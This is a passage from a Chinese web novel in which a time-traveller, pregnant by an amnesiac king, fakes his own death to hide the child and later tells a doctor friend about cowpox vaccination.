上位者却只是淡淡的哼了一声,随手一挥权杖,长兴侯周围的所有随众和傀儡师全部爆血殒命。 只是弹指一挥间,上百条活生生的人命,就这么被他给收割了。 阮锦呆滞的看着他,心想这不是我的阿蛮,这他娘的是个灭霸。 谁料这时阿蛮却转身看向了他,眼神中又露出了几分迷茫,阮锦竟从这几分迷茫里看到了阿蛮的三分影子。 可他不是阿蛮,虽然两个人长的一模一样,却是天差地别的两个人。 他是渊王啊! 渊王垂眸看向他,英俊的眉眼里没有半分情愫,只是淡淡的问了一句:“是你救了孤?” 阮锦瑟缩一下,后退两步,颤抖三声答道:“顺顺顺顺手的事儿……” 渊王淡淡嗯了一声,眼神微暗的吩咐身后的黑羽卫:“赐他免死金牌,非判国之罪,不可诛之。” 黑羽卫首领把一枚金牌扔到了阮锦的脚下,下一秒,众人便消失在了他的面前。 阮锦不知道自己是如何回到清风山庄的,只知道自己回去以后就晕了过去。 满园子里上上下下都在惊呼,阮锦只觉得自己太累了,虽然能听到他们在喊,却眼神重得仿佛千钧,不论如何都睁不开。 等他再次醒来的时候,却发现自己不知道何时已经回到了桃花县的小院子里。 四儿和九大夫正守在他身边,三儿和尉迟融焦急的在外间里等着。 想必小五义都来了,只是等在院子里。 九大夫见他醒了,赶紧道:“怎么样?有没有感觉好一些?” 四儿在一边哭,不说话,只是流眼泪。 阮锦皱了皱眉,下意识问道:“阿蛮呢?” 下一秒他想起来了,苦笑一声道:“哦,他……他走了。” 九大夫叹了口气,说道:“尉迟融都和我们说过了,但是黑羽卫下令封锁了消息,这件事也只能了结在我们这里。从此世上再无阿蛮,只有……” 只有那位高高在上的渊王。 阮锦的心里仿佛灌了铅一般,却装出了一副若无其事的模样,一边起身一边道:“没事,走了便……呃……” 结果坐到半路,他便跌坐了回去,头一阵晕眩,还有些隐隐想吐。 阮锦一脸迷茫的问道:“我……这是怎么了?受……受伤了吗?” 九大夫的表情里满是复杂,他摇了摇头,半天后才道:“你……你怀孕了。” 阮锦:?????? 等等,怀孕了,孩子是渊王的? 不对,历史上的渊王不是个重症鸡无力吗? 啊……阿蛮可不是鸡无力,他鸡有力的很! 阮锦瞬间又反应了过来,猛然开口道:“四儿,九哥,快!明天,给我办一场丧事,就说我意外死了!召告整个桃花县,从此这世上再无阮锦!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 众人还没从阮锦的遭遇里反应过来,又被他的话语炸了个七荤八素,四儿满是疑惑的问道:“少……少爷,您在说什么晦气话?什么叫……呸呸呸!不要瞎说好吗?” 九大夫却拦住了生气的四儿,说道:“你让阿锦先把话说完。” 阮锦朝尉迟融招了招手,尉迟融赶紧走了进来,蹲到了阮锦的床前:“师父您有什么事迟管吩咐!” 阮锦苦笑一声,说道:“没想到吧!你师爹竟然是渊王,这真的太让人难以置信了。” 这件事尉迟融在和黑羽卫接洽的时候已经知道了,而且还是他亲自封锁的消息。 而且阮锦的手上有免死金牌,不论任何情况下,任何人都不得对阮锦有杀心。 却不包括他自己意外身亡。 尉迟融低声道:“师父,我明白你怎么想的。其实……您不了解王上,他……好吧!我也不了解他。可是我总觉得,您和他可以谈谈。” 阮锦一想到历史上那个用人骨做龙床的渊帝,那个疯起来连自己的命都可以不管不顾的暴君,又想到京城的波诡云谲,以及对他仇视耽耽的齐颂声。 阮锦摇了摇头,说道:“不了,徒弟,我不想去京城。” 虽然尉迟融不想让师父和王上就此分开,可他也理解师父的顾虑,思索片刻后点了点头道:“师父放心,不论何种情况下,我都会守口如瓶,不会将这件事对任何人透露!” 至于镇子里的人,就算是奇货巷和蛮锦食记的人,他们很多都以为阮锦的夫君是九大夫,只有极少数的人知道阿蛮才是阮锦真正的夫君。 阮锦道:“奇大非偶,我区区一个草民,怎么可能争得过渊王呢?我当初捡了阿蛮,和阿蛮成亲,也不过是想找个借个种罢了。如今我既然已经怀孕了,那阿蛮的去留也就不重要了。只是阿蛮的身份过于出乎我的意料,我肚子里这个孩子,是万万不能让他知道的。幸好,他失忆了,也许永远都不会想起我了吧!我也不希望给未来的自己,以及我肚子里的孩子惹上什么不必要的麻烦。” 九大夫适时问道:“所以,你才打算让原本的自己在这世上消失,给自己重新拟定一个新的身份吗?” 阮锦缓缓点了点头:“是,所以还要劳烦九哥,帮我找一具体型相似的尸身。” 这年头百姓苦,普通人说死便死,想找尸体还是很容易的。 九大夫点了点头:“好,我会为你办妥的。” 四儿听明白了,也跟着点头道:“那我明日便去准备……丧事。” 阮锦嗯了一声,九大夫又问:“你打算用什么方式掩人耳目?” 阮锦想了想,说道:“以防万一,便让院子里意外失火吧!” 把尸体扔进火里,制成一具焦尸,也不会有人分辨出他的真面目。 房间里的氛围一时间变得沉郁起来,谁也不会想到,前段时间还恩爱异常的一对夫夫,今日会变成如今这副模样,还要靠假死来逃避彼此。 但九大夫也明白,假死是如今阮锦最好的选择。 渊王身边那个齐颂声,是权贵中的权贵,他分明已经盯上了阮锦。 而且如今京城的确烟云笼罩,就凭阮锦这个无依无靠的乡野小民,到了京城怕是要被那些权贵连骨头渣子都啃干净。 最重要的是,渊王失去了和阮锦的那段记忆,是定然没办法时时保护他的。 而他肚子里的孩子如果让有心之人知道了…… 最危险的情况就是一尸两命! 想到这里,九大夫十分谨慎的把所有人都叫到了一起,吩咐他们到:“今夜之事,除了我们几个,谁都不许外传,明白了吗?” 所有人都重重的点头,他们知道这件事非同一般,关乎阮锦和孩子的身家性命,而阮锦又等同于他们的身家性命,他们自然会十分谨慎的对待。 把这一切安排好后,九大夫和四儿便扶起阮锦,把他带去了郊外的一处宅子。 那里也是阮锦后来置办的,本来打算在外面种满桃树,等到春天的时候让阿蛮体验一下什么叫十里桃花的美。 可惜,这一切怕是不会再有机会实现了。 阮锦身体很不舒服,不知道是不是情绪影响,迟来的孕吐让他一夜都没睡好。 这一夜,九大夫找来了一具一阮锦体型极其相似的尸身,尉迟融则让他的手下把阮锦和阿蛮他们所住的那处小院子烧了个精光。 第二日,关于阮锦的死讯便从桃花县传开了。 这一消息,恰好传到了尚未回京的齐颂声的耳中,他听到消息后,腾的一声从坐椅上弹了起来,问道:“什么意思?你说阮锦死了?” 手下应道:“是,昨晚柳丝巷失了火,阮锦不知道为什么没有逃出来。据他的贴身小斯四儿说,火是从房间里烧起来的,门被从里面反锁了。火太大,里面全是硝石和木碳,他应该是自杀……” 齐颂声皱眉:“自杀?呵呵,这么轻易就自杀了?” 但他想想也对,不自杀,难道要等着渊王来接他入渊都吗? 他是个什么东西,一个乡野里生的卑贱货色,如果不是王上落难,怎么可能让他近得了身? 自杀算是便宜他了,他待在桃花县不走,为的就是把他处理掉! 我堂堂大渊第一哥儿还没和王上有过什么,就被你这么个乡野货色抢了先,还真当自己是个角色了! 不过,齐颂声还是非常谨慎的,起身道:“带路,我要亲自去给阮老板上柱香,送他最后一程。” 手下应了一声,便带着他朝奇货巷走去。 阮锦意外离世的消息震惊了整个桃花县,这桃花县里受过他恩惠的人不少,尤其是奇货巷里那些流民,他们惊闻噩耗,整个巷子里都传来了哭喊声。 他们的生活在阮锦的帮助之下渐渐步入了正轨,不少流民已经搬离了奇货巷,在外面单独租了院子。 剩下没有租院子的,主要也是为了守着奇货巷,因为这边上工比较方便。 他们就不明白,为什么恩人前些天还好好的,还往巷子里送了做蜜枣的方了,怎么一夜过去,他就死了呢? 还有那些经常在奇货巷里进货的小贩,他们靠着卖豆腐养活了一大家子,还把家里的枣子、油菜籽、甘蔗这些很难卖掉的货物卖给了阮锦,让他们的生活得到了很好的改善。 于是他们自发的戴了白布,去奇货巷的巷子口给阮锦吊唁。 所以齐颂声在来奇货巷的路上,一路上便听到了许多给阮锦送行的唱和声,甚至有不少流民齐声冲着西边喊:“食神菩萨早登极乐,阮锦大善人永生!” 走在大街上,还以为家家户户都在办丧事,也不过是死了一个乡野哥儿罢了。 齐颂声十分看不说的说道:“不知道的还以为他们的爹娘死了,这阮锦就这么值得他们哭吗?不就是在水患的时候让他们去做工吗?我免费给他们吃给他们住那么长时间,也不见他们来感谢我!” 手下赶紧道:“呸呸呸,小公子别乱说,咱们不和死人比。” 齐颂声心想也是,阮锦他再怎么样还是死了,一个死人,能拿他怎么样? 想到这里,齐颂声缓缓点了点头,转身走进了奇货巷。 巷子里人满为患,来了许多吊唁的人,县令赵大人也亲自来了,十分惋惜的给他上了一柱香。 还有梁同,竟然抱着孩子来给他送别。 除此之外,阮钗竟然也蒙着面来给他上了香嗑了头,还随了很大一份礼。 齐颂声看着这些人心里就十分不屑,不过他表面上倒是没表现出来,反倒是十分悲痛的上前给阮锦上了一柱香,继而走到了四儿面前,对他说道:“节哀,这件事来得突然,你们这些朋友肯定会十分难过吧?” 鉴于从前九大夫在外人面前的形象,这次他也以未亡人的身份答礼。 九大夫开口道:“多谢齐小公子前来吊唁,阿锦他走得突然,这的确让我们难以接受。不过斯人已逝,我们也只能看开些。他的产业那么多,我们也没有多余的时间悲伤,只能更加专注的替他打理好事业了。” 听了九大夫的话,齐颂声的内心嘲讽了一声,心想这个九大夫应该高兴坏了吧? 继承了阮锦偌大的家业,还不用和别人共侍一夫了,若是他再想娶,就凭他这个姿色,还不是随便想娶谁娶谁? 齐颂声掩藏住了内心的想法,开口道:“是啊!您能走出来那再好不过了。只是……我虽然和阮郎君只有几面之缘,却分外投契。今日过来,一是为了吊唁,二是想瞻仰一下遗容。不知……可否满足我这个愿望?” “这……”九大夫十分为难道:“齐小公子,不是我们拒绝。实是因为亡夫的死状凄惨,遗容骇人,怕是会吓到齐小公子。您……还是不要看了吧?” 多疑的齐颂声内心的疑虑却更深了,他心想,这棺材里该不会是具空棺吧? 哼,今日他倒是非看不可了。 于是继续开口道:“九大夫多虑了,我自小随父亲征战过沙场,见过的死人也是不计其数的。阮郎君是在下的挚友,我又怎么会怕他呢?” 九大夫虽然仍是面露难却,却还是答应了下来,说道:“那便请齐小公子随我入灵堂吧!” 齐颂声跟随九大夫来到了灵堂,九大夫将棺木推开一条缝,对齐颂声道:“齐小公子请。” 齐颂声迫不及待的朝棺材里探了探头,随即,一声惨叫响彻了整个灵堂。 第92章 齐颂声吓得连滚带爬,被下属搀扶着离开了灵堂。 一想到棺材里那具烧得面目全非的尸体,齐颂声便忍不住瑟瑟发抖,他这是第一次见死状如此狰狞的尸体,竟是这样的青面獠牙。 待到齐颂声离开,九大夫和四儿忍不住轻哼一声,四儿道:“幸亏少爷提前预知了他定会看尸体,让九哥把这尸体给化妆得狰狞吓人了些。否则就以齐颂声这种人的性子,怕不是会去刨坟挖尸。” 九哥也是一声冷笑:“吓他一下,让他知道尸体可不是那么好看的。” 本来齐颂声从小娇生惯养,去战场转一圈也不过是在军帐里待着,偶尔去伤兵营摆拍一下,再营造一下他渊都佛子,大渊第一哥儿的名声,哪有机会见到四分五裂的尸体。 忙碌了一整天,九大夫以横死为借口,打算第二天就将尸体下葬。 那尸体是九大夫从乱葬岗找来的无名尸体,也没有真把尸体扔进火里烧,而是做了简单的易容。 只是为了孩子旁人会挖坟探寻,九大夫和阮锦商量着,会把尸体火葬。 晚上四儿和九大夫回到南郊别院,阮锦听了四儿讲述的关于齐颂声被吓到的事后难得的笑了两声,说道:“哎哟,怕是这位小公子晚上要做噩梦了。” 四儿骂了一句:“活该!这个人,沽名钓誉,包藏祸心,不是个好东西。” 阮锦嗯了一声:“我们做这个局,就是为了避免这些不必要的麻烦。明天你们把那尸体好好安葬,再请个道士给他做个超度,希望他来生可以投一个好人家。” 九大夫答:“你放心,这件事我会处理好的。你就安心养胎,别的事不用再操心了。” 阮锦却闲不住,下巴朝前奴了奴道:“我白天做了冰糖葫芦,你们也吃一串。酸酸甜甜的,很是开胃。” 四儿也是服了,责备道:“少爷,你现在身体要紧,就不要再做这些累人的事情了。” 阮锦轻笑:“你们安心,我没有亲自做。鱼翅把春夏秋冬给我送过来了,我都是吩咐他们来做。” “春夏秋冬?”四儿问道:“那是谁?” 阮锦打了个响指,穿着花裤头的四名侍从傀儡从外面走了进来,竟是阿蛮之前给阮锦做的那四名傀儡,让尉迟融从蛮锦阁给他送了过来。 四儿有些担心阮锦睹物思人,他刚要说些什么,阮锦就道:“没什么的,这是阿蛮给我做的,我当然要把它们留在身边。你们也不用担心我会睹物思人,不睹物就不会思人了吗?阿蛮是切切实实存在过的,没有人能抹杀他的存在。在我的心里,阿蛮他只是阿蛮。不是渊王,不是夜昙,只是阿蛮而已。这些东西,都是他因为爱我而做给我的,我看到它们不会不高兴,只会觉得欣慰。” 听到阮锦这么说,四儿反倒是不知道该说些什么了。 九大夫也一样,这件事发生的让他们促不及防,完全超出了他们危机预安。 本来以为阿蛮可能是官宦世家,阮锦可能没办法登堂入室,到时候若是只能做个外室,保持露水情缘倒也没什么。 或者他在家里已经有了妻室,要么和离,要么多多赔偿,总有机会继续在一起。 可如今,单单是身份上的鸿沟就注定了,他们这辈子肯定是不可能在一起的了。 反倒是阮锦还反过来安慰他们:“你们也别唉声叹气的,阿蛮虽然消失了,但是他给我留了纪念品啊!这么多的纪念品,肚子里还有一个这么大的,这段感情也不能说是全无收获。” 阮锦看着非常豁达,这让四儿他们松一口气的同时,也忍不住为他捏了一把汗。 有时候人的情绪越是不动声色,在决堤的那一刻却是山崩地裂。 九大夫和四儿商量着,他俩绝对不能放任阮锦一个人在家待着,必须要有一个人陪在身边。 本来九大夫开医馆也不是为了赚多少钱,如今阮锦出了事,他便只想尽心尽力的陪在他身边。 平常阮锦没少想方设法的给他塞钱,就连他去给流民们施医赠药,阮锦每次都要给他一笔钱说是让他买药用。 最后肯定花不了那么多,其实他就是担心九大夫生活不好,一定要多给他塞些钱才安心。 阮锦这个人就这样,对所有人都足够仗义。 见这几天九大夫一直陪在他身边,阮锦也知道了九大夫的想法,便安抚他道:“不用担心我,我不会抑郁,也不会寻短见。失望是肯定的,但还不至于到绝望的地步。本来我来到这个世界上就是孤身一人,如今还有你们那么多朋友在,也没什么好难过的。” 九大夫歪头看向他,问道:“一个人?” 阮锦轻笑:“你应该早就猜到了吧?聪明如你,不可能看不出我身上的异常。只有像四儿这样的小傻瓜,才会对我毫无任何怀疑,还会在外面给我找台阶下。” 四儿可不止一次说过阮锦梦里拜师学艺的事情了,这让阮锦省了不少口舌。 九大夫没有说什么,只道:“不论你是什么人,在我这里,你永远是我的知己好友,我永远都会站在你这边。” 相处了半年时间,他早就了解了阮锦,这样的人,值得他以命相交。 阮锦明白,九大夫并不需要他解释,既然不需要,那他也没必要说什么。 他和九大夫还有小五义,已经是家人一般的存在,想降不论他们如何抉择,都能获得对方的支持。 这几天阮锦喝了几天的药,身体已经大好,好在除了受刺激的那几天外,他没有再吐过。 就是爱吃酸甜的东西,但不能吃太多冰糖葫芦,毕竟山楂是不宜在怀孕的时候多吃的。 但这个季节,偏偏又是山楂下来的季节,现在的山楂还不是后期的改良品种,酸味非常重,普通人吃上一两棵都是难以下咽的。 通常是作为药物存在,也只有偶尔才会吃上一两棵。 但山里的山楂却不少,都是山里的野果,也叫山里红。 阮锦就让四儿再去收山里红,收回来新鲜的大的好的做成糖葫芦,小一些的就手工做成山楂糕或者山楂饼。 犹记得小时候,奶奶最喜欢吃山楂饼,每次他去奶奶那里,都能得到一小片山楂饼或者一小块山楂糕。 不知道为什么,突然有点想家了。 穿越半年来,阮锦半夜第一次蒙在被子里哭了一场。 明明有那么多朋友陪在身边,明明四儿和九大夫几乎一天二十四小时的陪着自己了,阮锦却漫上了一股子难以言喻的孤独感。 哭完阮锦就做了一个梦,梦见阿蛮对他说,让他忘了他吧,以后这个世界上不会再有阿蛮。 结果醒来后阮锦又哭了一场,还把阿蛮骂了一顿,心想这个死没良心的,晚上托梦也不能给他托个好点儿的梦。 殊不知此时刚刚回到京城的渊夜昙,却正在经历一场惊心动魄的朝堂之争。 此行他外出游历,并不是任性妄为,也不是为了什么体查民情,而是为了打通最后一处灵脉。 他若是想将整个中原一统,就必须设立一个极其强大的傀儡阵,将整个大渊的灵脉串连起来,让他可以决胜于千里之外。 可他也知道,如果要将这些灵脉全部串连起来,需要花费的时间和精力不少,且需要燃烧他很多的心头血。 心头血是寿元之血,若是到时候他不得以要用上这些心头血,那他的寿命可能就要走到尽头了。 可夜昙从来不在乎,他想做的事,任何人都阻止不上。 明镜高台之上,肃穆的龙椅上坐着威严且容貌秾丽的帝王,他轻轻一挥手,底下的文武百官便齐齐的跪到了他的面前。 夜昙轻轻笑了一声,问道:“关内侯啊,听说这段时间,你一直在找孤啊?” 关内侯心里有些拿捏不准王上的意思,便跪了出来答道:“回王上的话,臣未曾,臣知陛下御驾亲征,又为何会寻您呢?” 夜昙轻轻点了点头,说道:“说得是啊!寡人的行踪,向来大白于百官和百姓,只是不知为何,却有人千里迢迢跑去东南郡的一座小城里寻寡人。” 听了夜昙的话,长兴侯吓得扑通一声跪到了地上,他战战兢兢的匍匐到前面,祈求道:“王上,您请听臣解释。臣属实是意外得到此消息的,臣的小儿子跟随大司农前去赈灾,碰到了与您容貌相像之人。臣担心您流落在外,这才亲自前往探查的。王上,臣是怕您出现意外啊!您要了解臣的一片苦心啊王上!” 长兴侯磕头磕的都把玉冠给磕碎了,高堂上容貌秾丽的上位者却只是淡淡打了个响指后,对匍匐在地的中年男性说道:“王叔,你抬头看看,这是你在桃花县见到的人吗?” 长兴侯抬头,只见一名与渊王容貌一模一样的男子穿着在桃花县时那一套衣冠,正面无表情的站在他面前。 一时间长兴侯也有些分不清了,究竟眼前的男子是渊王,还是明台之上坐着的那位是渊王。 上位者又开腔了:“哦?王叔看不清?没关系,你站起来,仔细的看看,朕与朕的傀儡替身,究竟哪里不一样。” 长兴侯顺从的笑了笑,赶紧从地上爬了起来,披头散发的朝那傀儡人的脸上看去,显然是想仔细的分辨这到底是不是自己那日在桃花县看到的人。 却在下一秒,扑通一声,那傀儡人的脑袋轰然掉到了地上,滚落到了长兴侯的脚边。 第93章 朝堂之上出现一声惨叫,长兴侯吓得面色惨白,一屁股跌坐到了冰凉的石板地面上。 但眼前却并未出现想象中的血腥,眼前与渊王一模一样的人也变成了一堆烂木头摊在了他的面前。 长兴侯余惊未平,竟又有好几名“渊王”从四面八方朝文武百官走了过来。 吓得群臣瑟瑟发抖,纷纷给“渊王”们让路。 而真正的渊王却发出了一阵阵轻笑,那轻笑里透着淡淡的疯感,随着他的轻笑,那些“渊王”竟在文武百官面前接二连三的开始爆装备。 要么掉了头,要么掉了胳膊,要么掉了一条腿,却还是匍匐在地上,慢慢的朝百官们爬去。 渊王却笑得更疯了,一边笑一边道:“怎么样?卿们,是不是早就想这么干了?给你们个机会,想杀了孤的,现在就开始动手吧!孤恕你们无罪!过了今日,可就再也没有这个机会了。” 俗话说伴君如伴虎,渊王可以这么说,百官们却不能这么做。 他们一个个吓得仿佛鹌鹑一般趴跪在地上,齐声高呼:“王上请息怒!王上请息怒!王上请息怒!” 这一场砍杀傀儡戏,都是做给文武百官们看的。 渊王知道,自己这一趟没能完全成功,往后还多有外出的机会。 若是每次外出,这些大臣都给自己搞这么一通大的,那他想必是要防着些的。 虽然他并不怕后院起火,但像这次这样的意外也不是不会再发生。 夜昙狭长的凤眸微挑,总觉得自己这一趟出行似乎忘了些什么重要的事情,他在桃花县养了几个月的伤,这几个月的时间只觉得自己仿佛游魂一般。 如果不是京城的事急待他去处理,他也很想问清楚那个叫阮锦的小哥儿,这几个月里自己究竟经历了哪些。 不过也不急,待他把这些蠢货收拾了,再让他过来问清楚了也不迟。 毕竟是救命恩人,哪怕给了免死金牌,也总得赏些什么才好。 谁料三天后,却传来了阮锦的死讯。 处理完朝政的渊王正坐于书案前,笔尖顿了顿,抬头看向黑羽卫统领:“死了?” 黑羽卫统领谢晗点了点头道:“是的王上,死了。” 渊王皱了皱眉,说道:“那日他还好好的,怎么说死便死了?” “是……”谢晗有些犹豫的答道:“是自杀。” 渊王的眼神暗了暗:“自杀?朕既给了他免死金牌,他又为何要自杀?” 谢晗又道:“说是夜半把自己反锁于屋内,点燃了蜡烛,把自己烧死在了屋子里。” 渊王的眉心蹙了起来:“到底是多大的冤屈,用这种惨烈的方式自杀?” 就在谢晗又要说些什么的时候,又有太监来报:“王上,幽国使臣到了,您现在要见吗?” 渊王想了想,说道:“宣吧!” 说完他又对谢晗道:“这些时日你也辛苦了,朕给你三天假期,安抚好你的妻儿。” 冷面的黑羽卫统领应了一声,便退了出去,消失在了夜色里。 天色渐晚,阮锦看着新制好的一锅山楂糕道:“这一锅的成色可以了,把制做方法交给四儿,让他拿去奇货巷,再给咱们奇货巷新增一条生财路。” 九大夫却略微犹豫了一下,他问道:“既然你已经对外声称自己死了,那这一样又一样的新品又是谁研发出来的?” 阮锦陷入了沉思,心想这倒确实是一个问题。 片刻后,他抬起头来,走进了房间,拿了一本《食经》出来。 这本《食经》是他平常随笔的记录,上面记录着他所制出的各种食物,有图有制做过程,使得想要做这样食物的人一下子便能看明白。 阮锦道:“那就……对外宣称,我收了个徒弟叫元耳,以他的名义来出版这本书。就说他手中有十本这样的《食经》,这也只是第一册。以后阮锦的各种食物不但不会断代,还会经由弟子之手慢慢一样样问世。” 九大夫闻言点了点头,问道:“所以,你是打算改名换姓为元耳吗?元耳为阮,就不怕别人看出来?” 阮锦轻笑:“会关注我的人,都因为这一场丧事而转移了注意力。其余人,只会为我的英年早逝而惋惜,不会有人往这上面猜的。” 九大夫嗯了一声,说道:“那便……让尉迟融给你办一个新的户籍好了,以后你便以元耳的身份行走。” 阮锦沉默,心想自己今后就痛失本名了吗? 唉,也没办法,毕竟和当今天子抢孩子,总得付出点什么才行。 他垂眸捂住自己的小腹,问九大夫:“我这孩子还健康吗?” 九大夫轻笑,点了点头应道:“嗯,很健康。不愧为天下第一霸主的后代,简直是……生龙活虎。” 阮锦唇角微勾,开心道:“那便好,能留下一个孩子,也不错。” 不论如何,他在这世上,也算是留下一丝血脉了。 阮锦有时候觉得自己挺软弱的,总是想要一份羁绊,否则内心就总觉得孤独。 若是他能像九哥一样,孤身一人便能走遍天下,拥有强大的内心就好了。 但想来每个人都是不一样的,拥有一样长处的同时,就必须会拥有另一样短处,这是每个人都要面对的难全。 阮锦忽然又想到一件事,大惊失色道:“九哥,没了阿蛮,我是不是也要自己对付发情期了?” 九大夫又是一阵无奈,说道:“在你生下孩子满月到半岁前,是不会有发情期的。” 阮锦明白了,哥儿的发情期就像女孩子的经期,怀孕就会停止一段时间。 九大夫又道:“别担心,到时候我会教你,如何应对自己的发情期。” 阮锦点了点头,抬头看向漫天的星子,忍不住猜想阿蛮此时在干什么,是不是又在玩大臣消消乐?九族全家桶?龙床无骨鸡? 唉,想也没用了,他的阿蛮已经消失了,现在活着的是渊王。 九大夫知道他又陷入情绪了,上前扶住他道:“如果你想离开这里,我可以陪你到处走走。或许……我可以带你去我的家乡……南越。” 阮锦惊讶的看向九大夫,问道:“啊?原来九哥是南越人?” 九大夫嗯了一声:“我原姓白,因为排行第九,所以化名阿九行走江湖。” “姓白?”阮锦突然想到一件事,历史上姓白的南越人,他问九大夫:“你是……南越王族?” 九大夫没有否认,说道:“原本是要将我送去幽国联姻的,把我嫁给幽王崇简,做他的王后或者美人。” 阮锦一听,立刻道:“那你逃婚还真是逃对了,幽崇简那个渣男不能嫁的。他前前后后娶了十几个老婆,见一个爱一个,你要是嫁给他……” 话说到这里,阮锦才意识到自己说错话了,因为现在的幽王满打满算才娶了八个老婆,并没有后面历史上娶的那么多。 九大夫笑了笑,说道:“所以,你这未卜先知的能力,跟你的身份也有关系是吗?” 阮锦摆了摆手,嗨了一声道:“你相信这个世界的线性发展吗?你相信线性发展到两千年后,会有一个未来人穿回来吗?” 九大夫点了点头:“所以,你就是穿回来的那个未来人?” 阮锦想了想,谨慎道:“其实我也不是很确定,我也不知道我所穿来的世界是架空的,还是正史。或许,是一个不同的平行世界吧!毕竟我过来了,后续的发展肯定与我原先所经历的不一样。可能,我改变了历史,原来的历史发展线就会独立出来。而我如今所处的这个世界,就会发展成另外一条平行线。” 他看着一脸迷茫的九大夫,弱弱的笑了笑道:“我……是不是没讲明白?” 九大夫却摇了摇头,脸上渐渐漫上了丝丝喜悦,问道:“所以……所以你的意思是说,你是来自两千多年前?然后……你所知道的这些,全是两千多年后的产物?那两千年后的世界是怎么样的?你可以和我说说吗?” 阮锦也没想到,九大夫竟然对他这个穿越者的身份接受度如此良好,还试图向他打听两千年以后的事情。 提到这个,阮锦可就不困了,他把二十一世纪的那些高科技与发明倒豆子一般和九大夫聊了起来。 九大夫听得一愣一愣的,问题一个接一个:“手机?真的随时随地都可以了解全世界的大事?” “地球?不是天圆地方吗?大地怎么会是一个球体?” “啊?竟然……可以去月亮上了吗?” “朋友圈是不是类似在某处题诗,下面可以回复的那种?” “哦哦,必须要有电才行是吗?电……是看不见的东西?像闪电一样?” …… 阮锦和九大夫坐在院子里的秋千上聊到了半夜,直到阮锦答应九大夫明天帮他做一个注射器并帮他写出天花预防接种方法才肯罢休。 阮锦倒在九大夫的怀里睡着了,九大夫把他抱回了房间,放到床上盖好被子。 这些天阮锦瘦了不少,吃的不多,也不爱动,睡眠质量也堪忧,倒是今晚和他聊多了累的睡着了。 九大夫知道,阮锦应该不仅需要人陪着,更需要人多和他说话,让他不再胡思乱想。 既然他喜欢把两千年后的东西搬到现在来,那就让他多多搬运吧! 从明天起,自己陪着他一起搬运。 说不定有了两千年后的先进医学,他们这个时代的人死亡率也可以变低一些。 第94章 在古代,天花的死亡率很高,每年都会在某个区域闹天花,其死亡率高达百分之五十之多。 那个时代缺医少药,小孩得了天花,可以说是灭顶之灾。 阮锦本来也是随口对九大夫说了一句天花的事,九大夫却一早便找上了他,担心吵醒他,特意趴在他床边等他。 所以阮锦醒来的时候,看到的便是九大夫那张英气的俊脸。 吓得他猛然后退一步,待看清来人后拍了拍胸口道:“九哥,你一大早干什么?不知道人吓人吓死人吗?” 九大夫笑的一脸讨好,开口道:“醒了?我一早去咱们蛮锦食肆打来的饭,有馄饨,有肉夹馍,有煎饼果子,有糖饼,你说你吃什么?” 阮锦看着桌子上摆着的琳琅满目的朝信发,揉了揉自己的眼睛,问道:“九哥,你受什么刺激了?” 九大夫轻声一笑,说道:“我不是……想好好照顾你吗?如今阿蛮走了,我说什么也是你名义上的唯一夫君了。夫君照顾郎君,这是天经地义的。” 阮锦却吓的不行,问道:“你实话实说,是不是在里面下了砒霜?你是不是要谋杀亲郎?” 九大夫一脸无语,端起一碗小馄饨吃了一口,朝他挑了挑下巴道:“好了,现在信我不会下毒了吧?” 只是九大夫突然来这么一出,阮锦还是有点不适应,他一边起身一边道:“九哥你受什么刺激了?外面还下着雨呢,你就跑这么远去给我买早餐?还买这么多?我滴个亲娘,还有这么多小点心?跟我说你是不是也被什么不干净的东西夺舍了?” 九大夫有些无语,说道:“我不是一直这样吗?我对你不好吗?” “好,好,对我好。没别的事情了是吧?那我吃了哈!” 说着阮锦起身洗漱,他一直有刷牙的习惯,还用猪鬃毛和竹片做了牙刷,九大夫觉得这东西好用,也跟着做了一个。 难怪总觉得阮锦和他们这些人气质不一样,原来是未来人。 九大夫托着腮,一脸喜色的在桌子对面看着阮锦,阮锦食不下咽,被九大夫灼灼的目光看得难受。 硬挺着吃了半碗馄饨,阮锦终于受不住了,他把碗一放道:“好了,你说吧!有事儿直说!千万别给我整这些有的没的!九哥,咱们是一家人啊!一家人不说两家话!你有什么事儿就直接和我说吧!” 他怕自己再这么被九大夫盯下去,自己要被盯出个洞来了。 九大夫清了清嗓子,小声道:“那个……你说的那个牛痘接种,是怎么做的?” 阮锦就知道,九大夫要问的肯定是关于医疗方面的,阮锦当然也不会藏私,放下碗筷道:“你早说啊!吓死我了,我还以为你想嘎我腰子。牛痘接种啊……” “等等!”九大夫起身,蹬蹬蹬蹬跑到了外间,拿了纸笔过来,重新坐回了桌子对面,说道:“好了,你继续说吧!” 阮锦啧了一声,继续道:“你见过有牛生牛痘的吗?” 九大夫点了点头:“就是牛的身上起一些类似水痘的疙瘩,这对牛来说倒是没有太大的伤害,一般过不了多久就可以自己好。” 阮锦应道:“嗯,是这样。牛痘其实和天花的病毒是同源,虽然并不是同一种病毒,但牛痘病毒属于天花病毒的一种类型。所以如果你得过牛痘,基本上就不会再被传染天花。你是知道的,人一辈子只会得一次天花,因为人的体内在得过天花后会产生抗体。用牛痘来对抗天花就是这个道理,毕竟牛痘属于天花病毒的一种,你只要得过牛痘,天花对你来说就不再致命了。” 虽然阮锦觉得自己讲的并不专业,但应该讲明白了才是。 果然九大夫点了点头,应道:“我明白了,意思是说,如果让人先得一次牛痘,就不用再担心天花了,是吗?” 阮锦点头:“对,就是这个意思!牛痘的接种死亡率极低,可能一万个人里只有0.3个会有意外事故。但这0.3个里十有八九是因为体质问题,即使他没有接种牛痘,可能也会因为别的感染去世。” “你说什么?”一听阮锦这么说,九大夫猛然站了起来。 这一行为把阮锦吓了一跳,他战术性后退了一步,问道:“怎?” 九大夫一脸激动的拉着他的手,问道:“十万人里……只有可能死三人?” 阮锦缓缓点了点头:“是啊……官方数据是这么说的,当年我了解过关于牛痘的一些资料,我们有一段时间跟一个研究生小组做助理,他们研究这个课题的。……嗨,可能你也听不懂。” 后面那些话,九大夫的确听不懂,但前面那些话,让九大夫的眼泪一下子便流了下来。 阮锦有些担忧的扶住他:“九哥?你没事吧?” 九大夫摆了摆手,说道:“没事,我没事,我……我这就去找一头生了牛痘的牛!我……我去给自己感染一下牛痘!” 阮锦:…… 阮锦一把拉住他,说道:“你傻啊!实验都没做过,你不怕自己感染到什么不好的病毒吗?” 九大夫问:“什么实验?” 阮锦道:“理论是理论,临床是临床,临床医学是必须要进行的。你只听到了我说的理论,没有用于实验,这亲就瞎在自己身上试,那岂不是会害了自己?” 九大夫一脸迷茫,又问道:“如何临床?” 